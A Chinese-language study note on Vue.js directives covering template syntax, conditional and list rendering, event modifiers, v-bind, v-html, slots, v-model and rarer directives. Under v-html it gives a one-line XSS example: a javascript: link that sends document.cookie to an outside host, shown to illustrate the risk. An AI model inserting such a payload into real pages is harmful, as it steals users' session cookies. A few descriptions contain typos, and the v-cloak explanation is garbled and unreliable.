02-vue的学习-指令

vue中指令的学习

1、模板语法

• 文本 {{}}
  {{express}}//文本插值语法，在 {{ }} 标记内部写的是 JS 表达式的内容
• 纯HTML
  v-html ，防止XSS,CSRF（ (1) 前端过滤 (2) 后台转义(< > < >) (3) 给cookie 加上属性 http ）

 <a href=javascript:location.href='http://www.baidu.com? cookie='+document.cookie>click</a>

• 表达式

指令

1、条件渲染

• v-if 动态创建/删除
• v-else-if 动态创建/删除
• v-else 动态创建/删除
• v-show 动态显示/隐藏

v-if 与· v-show 的区别：

• v-if 是添加/删除DOM树中的节点实现元素显示/隐藏，v-show 是通过设置元素的CSS样式中display 来实现元素的显示/隐藏
• v-if在频繁的实现元素显示/隐藏时有更高的切换开销，v-show有更高的初始化开销(当初始条件不满足时，v-if不做任何处理，v-show会将整个节点加到DOM树中，在设置css样式)

2、列表渲染

• v-for 列表渲染的指令，循环重复渲染处理 ( for in / for of) 都可以 遍历数组、对象
  注：key值提高渲染性能、避免渲染混乱的情况

3、事件

• v-on 绑定事件的指令，简写为@
  修饰符
  • .stop 阻止事件冒泡
  • .prevent 阻止默认事件
  • .enter 按键修饰符（回车）
  • .ctrl 案件修饰符（ctrl）
  • .once 只触发一次回调
  • .capture 事件捕获模式
  • .seelf 只当事件是从侦听器绑定的元素本身触发时才触发回调
  • .passive passive事件监听器，允许开发者告诉浏览器，监听器不会阻止默认行为，从而浏览器可以放心大胆的滚动页面，这样可以大幅度提升移动端页面的性能

4、绑定属性

• v-bind 动态绑定属性 缩写:

5、文本渲染

• v-html 渲染html 要考虑 XSS攻击 ， 要使用时，一定保证其渲染的是可靠数据
• v-text 渲染纯文本

6、插槽

• v-slot v2.6.0 中新增 <template v-slot:xx>

7、双向数据绑定

• v-model 创建双向数据绑定，会根据控件类型自动选取正确的方法类更新元素
  修饰符
  • .trim 过滤空格
  • .lazy 数据只在失去焦点或者按下回车时才更新
  • .number 框中的输入的数字自动转换成数字类型

8、其他不常用的指令

• v-pre 实现预格式化（原样显示）
• v-once 只渲染元素和组件一次，在控制台更改不会改变页面的数据
• v-cloak 会保存到元素上直接关联实例结束编译